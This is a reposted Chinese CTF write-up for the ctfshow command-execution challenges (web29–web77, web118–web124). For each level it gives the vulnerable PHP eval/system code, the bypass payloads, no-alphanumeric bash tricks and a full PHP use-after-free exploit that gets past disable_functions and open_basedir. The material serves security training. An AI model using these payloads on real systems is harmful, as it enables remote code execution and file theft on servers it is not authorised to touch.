0


ctfshow web入门 命令执行 web29~web77 web118~web124

目录

web29

<?phperror_reporting(0);if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/flag/i",$c)){eval($c);}}else{highlight_file(__FILE__);}

只过滤了flag,简简单单。

payload:

?c=system('tac f*');
?c=system('tac f*')?>
?c=echo `tac fla''g.php`;
?c=echo `tac f*`;
?c=system("cp fla?.php 1.txt");#然后访问1.txt

web30

<?phperror_reporting(0);if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/flag|system|php/i",$c)){eval($c);}}else{highlight_file(__FILE__);}

过滤了flag、system、php。

payload:

?c=passthru('tac f*');
?c=passthru("tac fl''ag.ph''p");
?c=echo `tac fla''g.php`;
?c=echo `tac f*`;
?c=echo `tac fla''g.ph''p`;
?c=`cp fla?.p?p 1.txt`;#然后访问1.txt

web31

<?phperror_reporting(0);if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i",$c)){eval($c);}}else{highlight_file(__FILE__);}

过滤了flag、system、php、cat、sort、shell、

.

、、

'

payload:

?c=passthru("tac%09f*");
?c=eval($_GET[1]);&1=system('tac f*');
?c=`cp%09fl*%091`;#然后访问1

web32

<?phperror_reporting(0);if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i",$c)){eval($c);}}else{highlight_file(__FILE__);}

过滤了flag、system、php、cat、sort、shell、

.

、、

'

、`、echo、

;

(

;

可以用

?>

代替

payload:

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
include$_GET[1]?>

就是包含GET参数1的值,而1的值没有任何过滤,直接包含flag.php文件,但是没有回显,所以使用php伪协议base64编码后呈现。

web33

<?phperror_reporting(0);if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i",$c)){eval($c);}}else{highlight_file(__FILE__);}

比web32多过滤了一个双引号。所以web32的方法还是可以用的。

payload:

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
?c=require$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web34

<?phperror_reporting(0);if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i",$c)){eval($c);}}else{highlight_file(__FILE__);}

又多过滤了一个冒号,对之前的payload还是没影响哈。

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
?c=require$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web35

<?phperror_reporting(0);if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i",$c)){eval($c);}}else{highlight_file(__FILE__);}

多过滤了

<

=

。因为过滤的不是

>

,所以之前的payload还是可以。

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
?c=require$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web36

<?phperror_reporting(0);if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i",$c)){eval($c);}}else{highlight_file(__FILE__);}

多过滤了

/

和数字。

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
?c=require$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

<?php//flag in flag.phperror_reporting(0);if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/flag/i",$c)){include($c);echo$flag;}}else{highlight_file(__FILE__);}

本题考点就是文件包含伪协议利用。

?c=data://text/plain,<?php system('tac f*');?>

web38

<?php//flag in flag.phperror_reporting(0);if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/flag|php|file/i",$c)){include($c);echo$flag;}}else{highlight_file(__FILE__);}

过滤了php,我们使用短标签即可绕过。

?c=data://text/plain,<?= system('tac f*');?>

web39

<?php//flag in flag.phperror_reporting(0);if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/flag/i",$c)){include($c.".php");}}else{highlight_file(__FILE__);}

在我们的传递的参数值后面加了一个.php,还是没啥影响啊。

?c=data://text/plain,<?= system('tac f*');?>

web40

<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i",$c)){eval($c);}}else{highlight_file(__FILE__);}

没有过滤字母、分号、圆括号(题目里的是中文的括号),可以使用无参数rce的payload:

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

另一种方法

尝试拿到变量:

?c=print_r(get_defined_vars());

然后POST一个值:1=phpinfo();

再看变量:

?c=print_r(get_defined_vars());

结果是这样的:

Array ( [_GET] => Array ( [c] => print_r(get_defined_vars()); ) [_POST] => Array ( [1] => phpinfo(); ) [_COOKIE] => Array ( ) [_FILES] => Array ( ) [c] => print_r(get_defined_vars()); )

现在我们只要从中提取到phpinfo();这个字符串就可以RCE了。

先next(),得到[_POST] => Array ( [1] => phpinfo(); )。然后array_pop得到数组的值。

最后的payload:

?c=eval(array_pop(next(get_defined_vars())));
POST:1=system('tac f*');

web41

<?phpif(isset($_POST['c'])){$c=$_POST['c'];if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i',$c)){eval("echo($c);");}}else{highlight_file(__FILE__);}?>

无数字字母RCE,使用hint里的链接里的脚本:(14条消息) ctfshow web入门 web41_yu22x的博客-CSDN博客

web42

<?phpif(isset($_GET['c'])){$c=$_GET['c'];system($c." >/dev/null 2>&1");}else{highlight_file(__FILE__);}
>/dev/null

表示把我们是命令结果放到黑洞里去了,不会显示结果;

2>&1

表示错误输出也会被放到黑洞里。使用

;

分隔符即可。

payload:

?c=tac flag.php;ls

web43

<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat/i",$c)){system($c." >/dev/null 2>&1");}}else{highlight_file(__FILE__);}

过滤了

;

和cat。

可以用%0a换行符绕过。

?c=tac flag.php%0a

或者用&&,要url编码:

?c=tac flag.php%26%26

web44

<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/;|cat|flag/i",$c)){system($c." >/dev/null 2>&1");}}else{highlight_file(__FILE__);}

多过滤了flag。

?c=tac f*%0a
?c=tac f*%26%26

web45

<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| /i",$c)){system($c." >/dev/null 2>&1");}}else{highlight_file(__FILE__);}

过滤了空格。本题空格可以用以下字符代替:

${IFS} 
$IFS$1 //$1改成$加其他数字貌似都行
%09

payload:

?c=tac${IFS}f*%0a
?c=tac$IFS$1f*%0a
?c=tac%09f*%0a

web46

<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i",$c)){system($c." >/dev/null 2>&1");}}else{highlight_file(__FILE__);}

过滤了数字、$、*。

payload:

?c=tac%09fla?.php%0a

web47

<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i",$c)){system($c." >/dev/null 2>&1");}}else{highlight_file(__FILE__);}

payload:

?c=tac%09fla?.php%0a

web48

<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i",$c)){system($c." >/dev/null 2>&1");}}else{highlight_file(__FILE__);}

payload:

?c=tac%09fla?.php%0a

web49

<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i",$c)){system($c." >/dev/null 2>&1");}}else{highlight_file(__FILE__);}

payload:

?c=tac%09fla?.php%0a

web50

<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i",$c)){system($c." >/dev/null 2>&1");}}else{highlight_file(__FILE__);}

nl(number line)命令用于计算文件的行号并将带有行号的内容输出到标准输出

payload:

?c=nl<fla''g.php%7C%7C

然后访问源代码

web51

<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i",$c)){system($c." >/dev/null 2>&1");}}else{highlight_file(__FILE__);}

payload:

?c=nl<fla''g.php%7C%7C

然后访问源代码

web52

<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i",$c)){system($c." >/dev/null 2>&1");}}else{highlight_file(__FILE__);}

把$放出来了。

payload:

?c=nl$IFS/fla''g||

web53

<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i",$c)){echo($c);$d=system($c);echo"<br>".$d;}else{echo'no';}}else{highlight_file(__FILE__);}

payload:

?c=ca''t${IFS}fla?.php

web54

<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i",$c)){system($c);}}else{highlight_file(__FILE__);}

payload:

?c=paste${IFS}fla?.php
?c=/bin/?at${IFS}f???????    #/bin/?at就是cat
?c=mv${IFS}fla?.php${IFS}a.txt    #把flag.php重命名为a.txt,然后直接访问a.txt即可

web55

<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i",$c)){system($c);}}else{highlight_file(__FILE__);}

把字母过滤了,但是还保留了数字。

1、使用

base64

进行匹配

把flag.php的内容以base64输出了

?c=/???/????64 ????.???
相当于/bin/base64 flag.php

2、

bzip2

命令

将flag文件进行压缩,然后再访问flag.php.bz2下载

?c=/???/???/????2 ????.???

3、运用

.

(进行)执行sh命令

p神文章:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html#php5shell

首先利用下面的表单上传随便一个小文件。(表单可以直接f12修改html插入网页

<!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8"><metaname="viewport"content="width=device-width, initial-scale=1.0"><title>POST数据包POC</title></head><body><formaction="http://ae82ef6f-deed-491d-bebf-7498e32cc9b1.challenge.ctf.show:8080/"method="post"enctype="multipart/form-data"><!--链接是当前打开的题目链接--><labelfor="file">文件名:</label><inputtype="file"name="file"id="file"><br><inputtype="submit"name="submit"value="提交"></form></body></html>

上传文件抓包,发送到Repeater模块。有两处进行修改:

把文件内容改成想要执行的命令:

#!/bin/sh
ls

添加get参数:

?c=.%20/???/????????[@-[]

没有回显就是运气不好,多发送几次就好了。

web56

<?php// 你们在炫技吗?if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i",$c)){system($c);}}else{highlight_file(__FILE__);}

数字也过滤了,没有过滤

.

/

运用

.

(进行)执行sh命令,和web56第三种方法一样。

web57

<?php// 还能炫的动吗?//flag in 36.phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i",$c)){system("cat ".$c.".php");}}else{highlight_file(__FILE__);}

在linux命令行中:

f41ry@~$echo$(())0
f41ry@~$echo ~$(())
~0
f41ry@~$echo$((~$(())))
-1
f41ry@~$echo$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))
-36
f41ry@~$echo$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))36

所以就得到了36,因为flag在36.php中嘛,直接传参:

?c=$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))

或者

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web58

<?php// 你们在炫技吗?if(isset($_POST['c'])){$c=$_POST['c'];eval($c);}else{highlight_file(__FILE__);}

直接用system函数试一下,发现被禁用了,然后又试了其他的函数都被禁用了

然后我们可以用读取文件的方式进行,在这里它没有禁用文件读取

c=echo file_get_contents("flag.php");

可以得到flag

web59

<?php// 你们在炫技吗?if(isset($_POST['c'])){$c=$_POST['c'];eval($c);}else{highlight_file(__FILE__);}

file_get_contents也禁用了,还可以使用highlight_file

payload:

c=highlight_file("flag.php");

另一种,因为没有禁用include

POST:
c=include($_POST['a']);&a=php://filter/convert.base64-encode/resource=flag.php

web60

源码没变。上一题的include方法,依然可以用。

还可以使用高亮函数:

c=highlight_file("flag.php");

web61

源码没变,这个题前两个的payload也可以用

也可以用show_source()函数

c=show_source("flag.php");

web62

前几个payload都可以用,还可以用include包含,读取变量值:

c=include("flag.php");echo $flag;

web63

之前的payload都可以用

然后,我们这个题可以用一下var_dump

c=include('flag.php');var_dump(get_defined_vars());

web64

源码依然是一样的,前面payload都可以使用

这个题可以使用其他的

c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

web65

依然是那个函数,直接show_source()得flag

web66

还是那个源码,但是show_source被禁用了

但是高亮函数是肯定没有被禁了,我们可以用高亮函数

但是发现flag不在flag.php中,位置不对

我们查看一下位置

c=print_r(scandir("/"));

发现到了flag.txt

然后直接flag.txt

c=highlight_file('/flag.txt');

web67

这个题和上一题相似,直接显示flag.php是没有的,真正的flag不在flag.php,然后多了

print_r函数的过滤,我们可以改用var_dump

c=highlight_file('/flag.txt');

web68-70

一上来居然没有代码,所以很明显,那种显示的函数肯定是被禁的

show_source、highlight_file、file_get_contents
所以我们可以用文件包含的方式,

payload:

c=include("/flag.txt");
c=require_once('/flag.txt');

web71

附件中的源码

<?phperror_reporting(0);ini_set('display_errors',0);// 你们在炫技吗?if(isset($_POST['c'])){$c=$_POST['c'];eval($c);$s=ob_get_contents();ob_end_clean();echopreg_replace("/[0-9]|[a-z]/i","?",$s);}else{highlight_file(__FILE__);}?>

函数解释

  • ob_get_contents()——返回输出缓冲区的内容
  • ob_end_clean——清空(擦除)缓冲区并关闭输出缓冲

解题的思路

执行PHP代码

exit()

,让后面的匹配缓冲区不执行直接退出
payload

c=include('/flag.txt');exit(0);
c=require_once('/flag.txt');exit();

web72

<?phperror_reporting(0);ini_set('display_errors',0);// 你们在炫技吗?if(isset($_POST['c'])){$c=$_POST['c'];eval($c);$s=ob_get_contents();ob_end_clean();echopreg_replace("/[0-9]|[a-z]/i","?",$s);}else{highlight_file(__FILE__);}?>
你要上天吗?

打开后直接显示:

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15****Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24
你要上天吗?

说明

error_reporting()

ini_set()

highlight_file()

都被禁用了。

使用glob://伪协议绕过disable_function

c=$a="glob:///*";if($b=opendir($a)){while(($file=readdir($b))!==false){echo$file."\n";}closedir($b);}exit(0);

得到了flag文件的名字:/flag0.txt

这时候我们直接payload

c=include('/flag0.txt');exit();

,会没有权限:

Warning: include(): open_basedir restriction in effect. File(/flag0.txt) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(19) : eval()'d code on line 1

这个时候我们就需要用到uaf脚本绕过open_basedir restriction。

c=functionctfshow($cmd){global$abc,$helper,$backtrace;classVuln{public$a;publicfunction__destruct(){global$backtrace;unset($this->a);$backtrace=(newException)->getTrace();if(!isset($backtrace[1]['args'])){$backtrace=debug_backtrace();}}}classHelper{public$a,$b,$c,$d;}functionstr2ptr(&$str,$p=0,$s=8){$address=0;for($j=$s-1;$j>=0;$j--){$address<<=8;$address|=ord($str[$p+$j]);}return$address;}functionptr2str($ptr,$m=8){$out="";for($i=0;$i<$m;$i++){$out.=sprintf("%c",($ptr&0xff));$ptr>>=8;}return$out;}functionwrite(&$str,$p,$v,$n=8){$i=0;for($i=0;$i<$n;$i++){$str[$p+$i]=sprintf("%c",($v&0xff));$v>>=8;}}functionleak($addr,$p=0,$s=8){global$abc,$helper;write($abc,0x68,$addr+$p-0x10);$leak=strlen($helper->a);if($s!=8){$leak%=2<<($s*8)-1;}return$leak;}functionparse_elf($base){$e_type=leak($base,0x10,2);$e_phoff=leak($base,0x20);$e_phentsize=leak($base,0x36,2);$e_phnum=leak($base,0x38,2);for($i=0;$i<$e_phnum;$i++){$header=$base+$e_phoff+$i*$e_phentsize;$p_type=leak($header,0,4);$p_flags=leak($header,4,4);$p_vaddr=leak($header,0x10);$p_memsz=leak($header,0x28);if($p_type==1&&$p_flags==6){$data_addr=$e_type==2?$p_vaddr:$base+$p_vaddr;$data_size=$p_memsz;}elseif($p_type==1&&$p_flags==5){$text_size=$p_memsz;}}if(!$data_addr||!$text_size||!$data_size)returnfalse;return[$data_addr,$text_size,$data_size];}functionget_basic_funcs($base,$elf){list($data_addr,$text_size,$data_size)=$elf;for($i=0;$i<$data_size/8;$i++){$leak=leak($data_addr,$i*8);if($leak-$base>0&&$leak-$base<$data_addr-$base){$deref=leak($leak);if($deref!=0x746e6174736e6f63)continue;}elsecontinue;$leak=leak($data_addr,($i+4)*8);if($leak-$base>0&&$leak-$base<$data_addr-$base){$deref=leak($leak);if($deref!=0x786568326e6962)continue;}elsecontinue;return$data_addr+$i*8;}}functionget_binary_base($binary_leak){$base=0;$start=$binary_leak&0xfffffffffffff000;for($i=0;$i<0x1000;$i++){$addr=$start-0x1000*$i;$leak=leak($addr,0,7);if($leak==0x10102464c457f){return$addr;}}}functionget_system($basic_funcs){$addr=$basic_funcs;do{$f_entry=leak($addr);$f_name=leak($f_entry,0,6);if($f_name==0x6d6574737973){returnleak($addr+8);}$addr+=0x20;}while($f_entry!=0);returnfalse;}functiontrigger_uaf($arg){$arg=str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln=newVuln();$vuln->a=$arg;}if(stristr(PHP_OS,'WIN')){die('This PoC is for *nix systems only.');}$n_alloc=10;$contiguous=[];for($i=0;$i<$n_alloc;$i++)$contiguous[]=str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');trigger_uaf('x');$abc=$backtrace[1]['args'][0];$helper=newHelper;$helper->b=function($x){};if(strlen($abc)==79||strlen($abc)==0){die("UAF failed");}$closure_handlers=str2ptr($abc,0);$php_heap=str2ptr($abc,0x58);$abc_addr=$php_heap-0xc8;write($abc,0x60,2);write($abc,0x70,6);write($abc,0x10,$abc_addr+0x60);write($abc,0x18,0xa);$closure_obj=str2ptr($abc,0x20);$binary_leak=leak($closure_handlers,8);if(!($base=get_binary_base($binary_leak))){die("Couldn't determine binary base address");}if(!($elf=parse_elf($base))){die("Couldn't parse ELF header");}if(!($basic_funcs=get_basic_funcs($base,$elf))){die("Couldn't get basic_functions address");}if(!($zif_system=get_system($basic_funcs))){die("Couldn't get zif_system address");}$fake_obj_offset=0xd0;for($i=0;$i<0x110;$i+=8){write($abc,$fake_obj_offset+$i,leak($closure_obj,$i));}write($abc,0x20,$abc_addr+$fake_obj_offset);write($abc,0xd0+0x38,1,4);write($abc,0xd0+0x68,$zif_system);($helper->b)($cmd);exit();}ctfshow("cat /flag0.txt");ob_end_flush();#需要通过url编码

web73

glob伪协议

c=%3F%3E%3C%3Fphp%0A%24a%3Dnew%20DirectoryIterator(%22glob%3A%2F%2F%2F*%22)%3B%0Aforeach(%24a%20as%20%24f)%0A%7Becho(%24f-%3E__toString().'%20')%3B%0A%7D%0Aexit(0)%3B%0A%3F%3E

拿到根目录,在flagc.txt中,于是使用

c=include("/flagc.txt");exit();

拿到flag

或者:

c=var_export(scandir('/'));exit(); //发现根目录下有flagc.txt
c=include('/flagc.txt');exit();

web74

这题又ban了scandir()函数,

payload:

c=include('/flagc.txt');exit();

web75

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f-
>__toString().'');}exit(0);?>

得到文件名flag35.txt,然后利用PDO连接数据库load_file读取文件。

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag35.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web76

和web75一样,flag变成flag36.txt

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web77

c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);

然后访问1.txt

web118

查看源代码,发现:

<!-- system($code);-->

经过测试,过滤了字母数字|^,没有过滤空格和环境变量。

看了hint发现,环境变量PATH是/bin,路径PWD是/var/www/html。

${PATH:A}${PWD:A}表示的就是PATH的最后一个单词和PWD的最后一个单词,组合起来就是nl。

payload:

${PATH:~A}${PWD:~A}$IFS????.???
相当于:nl flag.php

其他payload:

${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???

web119

构造出

/bin/cat flag.php
${HOME:${#HOSTNAME}:${#SHLVL}}     ====>   t${PWD:${Z}:${#SHLVL}}    ====>   /${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

构造出

/bin/base64 flag.php
${#RANDOM}的值大概率是4或5,这就构造出4了SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。
${#SHLVL}的值是1,所以${PWD::${#SHLVL}}的值是/
所以payload${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
就可以得到了base64的编码,解码一下得到flag

web120

又过滤掉了好多东西,但是上一题的payload可以直接用。

hint:

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

提示构造的结果为

/bin/cat flag.php

所以说

${USER:}的最后一位为a

web121

源码也是给我们了,过滤了超多东西,最重要的SHLVL被过滤掉了,所以需要用别的方法代替1

${##} 和 ${#?} 可以代替

payload:

${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???

即/bin/rev flag.php

${IFS}的默认长度为3,${PWD:${#IFS}:${#?}}的值为r
用到的rev命令,会倒叙输出
输出完再进行,倒叙处理得到flag

web122

通过$?来实现的,$?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。

payload:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

可能存在成功的机会,不断刷新

web124

<?phperror_reporting(0);//听说你很喜欢数学,不知道你是否爱它胜过爱flagif(!isset($_GET['c'])){show_source(__FILE__);}else{//例子 c=20-1$content=$_GET['c'];if(strlen($content)>=80){die("太长了不会算");}$blacklist=[' ','\t','\r','\n','\'','"','`','\[','\]'];foreach($blacklistas$blackitem){if(preg_match('/'.$blackitem.'/m',$content)){die("请不要输入奇奇怪怪的字符");}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist=['abs','acos','acosh','asin','asinh','atan2','atan','atanh','base_convert','bindec','ceil','cos','cosh','decbin','dechex','decoct','deg2rad','exp','expm1','floor','fmod','getrandmax','hexdec','hypot','is_finite','is_infinite','is_nan','lcg_value','log10','log1p','log','max','min','mt_getrandmax','mt_rand','mt_srand','octdec','pi','pow','rad2deg','rand','round','sin','sinh','sqrt','srand','tan','tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/',$content,$used_funcs);foreach($used_funcs[0]as$func){if(!in_array($func,$whitelist)){die("请不要输入奇奇怪怪的函数");}}//帮你算出答案eval('echo '.$content.';');}

payload:

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{abs})&pi=system&abs=tac f*

标签: php web安全 安全

本文转载自: https://blog.csdn.net/qq_62989306/article/details/126839315
版权归原作者 YthguaN 所有, 如有侵权,请联系我们删除。

“ctfshow web入门 命令执行 web29~web77 web118~web124”的评论:

还没有评论